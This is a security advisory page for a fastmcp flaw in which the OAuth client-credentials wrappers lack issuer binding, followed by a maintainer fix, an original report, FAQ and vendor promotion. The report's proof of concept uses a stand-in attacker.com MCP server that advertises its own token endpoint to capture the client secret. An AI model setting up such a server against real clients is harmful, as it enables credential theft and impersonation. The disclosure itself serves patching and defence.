Summary
FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding, client secret redirectable to attacker-advertised authorization server
Maintainer assessment and remediation
This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.
Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.
The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.
Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.
from fastmcp.client.auth import ClientCredentialsOAuthProvider
auth = ClientCredentialsOAuthProvider(
client_id="my-client-id",
client_secret="my-client-secret",
issuer="https://auth.example.com",
)
Original report
fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.
Details
When fastmcp connects to an MCP server with OAuth client credentials:
- Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
- Provider binds to server URL and discovers OAuth metadata
- Client exchanges credentials at the token endpoint
- WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
- Attack: attacker-controlled MCP server advertises attacker's authorization server
- Result: client secret leaked to attacker
Affected code:
fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)
- init signature has no issuer= parameter
- _bind() calls super().init(server_url=mcp_url, ...) without issuer=
fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)
- init signature has no issuer= parameter
- _bind() calls super().init(server_url=mcp_url, ...) without issuer=
The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.
Example vulnerable usage:
auth = ClientCredentialsOAuthProvider(
client_id="my-client-id",
client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
# Client credentials get sent to attacker's auth server if attacker's MCP
# server advertises it in RFC 9728 metadata
await client.list_tools()
Proof of concept
Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises
OAuth metadata pointing to https://attacker.com/oauth/tokenClient code:
from fastmcp import Client
from fastmcp.client.auth import ClientCredentialsOAuthProviderauth = ClientCredentialsOAuthProvider(
client_id="legitimate-client-id",
client_secret="legitimate-client-secret"
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
await client.list_tools()Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)
Attacker receives client_id and client_secret in Basic auth header
Attacker can now impersonate the client against the legitimate authorization server
The vulnerability exists because fastmcp does not validate that the authorization
server advertised by the MCP server matches an expected issuer.
Severity: Medium-High
Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider,
PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs
is vulnerable to credential disclosure and client impersonation.
Affected parties:
- Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
- Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is
attacker-controllable or the server is compromised
Attack scenarios:
- User misconfigures MCP server URL in Prefect agent config
- MCP server URL obtained from user input without validation
- Legitimate MCP server is compromised/redirected
- MCP service provider (if SaaS) is compromised
Impact
The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.
GHSA-VQQP-X5QM-5QP4 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
fastmcp to 4.1.2 or later; fastmcp-slim to 4.1.2 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-VQQP-X5QM-5QP4? GHSA-VQQP-X5QM-5QP4 is a medium-severity improper authentication vulnerability in fastmcp (pip), affecting versions >= 4.0.0a1, < 4.1.2. It is fixed in 4.1.2. The application does not adequately verify the identity of a user, device, or process before granting access.
- How severe is GHSA-VQQP-X5QM-5QP4? GHSA-VQQP-X5QM-5QP4 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by GHSA-VQQP-X5QM-5QP4?
fastmcp(pip) (versions >= 4.0.0a1, < 4.1.2)fastmcp-slim(pip) (versions >= 4.0.0a1, < 4.1.2)
- Is there a fix for GHSA-VQQP-X5QM-5QP4? Yes. GHSA-VQQP-X5QM-5QP4 is fixed in 4.1.2. Upgrade to this version or later.
- Is GHSA-VQQP-X5QM-5QP4 exploitable, and should I be worried? Whether GHSA-VQQP-X5QM-5QP4 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-VQQP-X5QM-5QP4 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-VQQP-X5QM-5QP4?
- Upgrade
fastmcpto 4.1.2 or later - Upgrade
fastmcp-slimto 4.1.2 or later
- Upgrade